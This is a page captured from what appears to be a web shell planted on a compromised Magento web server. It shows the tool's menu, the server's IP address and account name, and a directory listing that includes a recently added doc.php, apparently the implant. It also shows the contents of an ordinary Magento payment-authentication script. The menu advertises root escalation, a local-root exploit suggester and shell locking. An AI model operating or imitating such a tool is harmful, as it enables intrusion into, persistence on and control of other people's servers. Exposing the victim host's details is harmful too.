Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
js /
mage /
Delete
Unzip
Name
Size
Permission
Date
Action
adminhtml
[ DIR ]
drwxr-xr-x
2025-10-31 01:03
.htaccess
127
B
-r--r--r--
2025-10-31 01:03
captcha.js
3.02
KB
-rw-rw-rw-
2019-06-20 14:00
centinel.js
3.24
KB
-rw-rw-rw-
2019-06-20 14:00
cookies.js
2.55
KB
-rw-rw-rw-
2019-06-20 14:00
directpost.js
14.89
KB
-rw-rw-rw-
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:41
translate.js
1.56
KB
-rw-rw-rw-
2019-06-20 14:00
translate_inline.css
1.83
KB
-rw-rw-rw-
2019-06-20 14:00
translate_inline.js
8.02
KB
-rw-rw-rw-
2019-06-20 14:00
Save
Rename
/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category Mage * @package js * @copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) */ var CentinelAuthenticate = Class.create(); CentinelAuthenticate.prototype = { initialize : function(blockId, iframeId) { this._isAuthenticationStarted = false; this._relatedBlocks = new Array(); this.centinelBlockId = blockId; this.iframeId = iframeId; if (this._isCentinelBlocksLoaded()) { $(this.centinelBlockId).hide(); } }, isAuthenticationStarted : function() { return this._isAuthenticationStarted; }, addRelatedBlock : function(blockId) { this._relatedBlocks[this._relatedBlocks.size()] = blockId; }, _hideRelatedBlocks : function() { for (var i = 0; i < this._relatedBlocks.size(); i++) { $(this._relatedBlocks[i]).hide(); } }, _showRelatedBlocks : function() { for (var i = 0; i < this._relatedBlocks.size(); i++) { $(this._relatedBlocks[i]).show(); } }, _isRelatedBlocksLoaded : function() { for (var i = 0; i < this._relatedBlocks.size(); i++) { if(!$(this._relatedBlocks[i])) { return false; } } return true; }, _isCentinelBlocksLoaded : function() { if(!$(this.centinelBlockId) || !$(this.iframeId)) { return false; } return true; }, start : function(authenticateUrl) { if (this._isRelatedBlocksLoaded() && this._isCentinelBlocksLoaded()) { this._hideRelatedBlocks(); $(this.iframeId).src = authenticateUrl; $(this.centinelBlockId).show(); this._isAuthenticationStarted = true; } }, success : function() { if (this._isRelatedBlocksLoaded() && this._isCentinelBlocksLoaded()) { this._showRelatedBlocks(); $(this.centinelBlockId).hide(); this._isAuthenticationStarted = false; } }, cancel : function() { if (this._isAuthenticationStarted) { if (this._isRelatedBlocksLoaded()) { this._showRelatedBlocks(); } if (this._isCentinelBlocksLoaded()) { $(this.centinelBlockId).hide(); $(this.iframeId).src = ''; } this._isAuthenticationStarted = false; } } };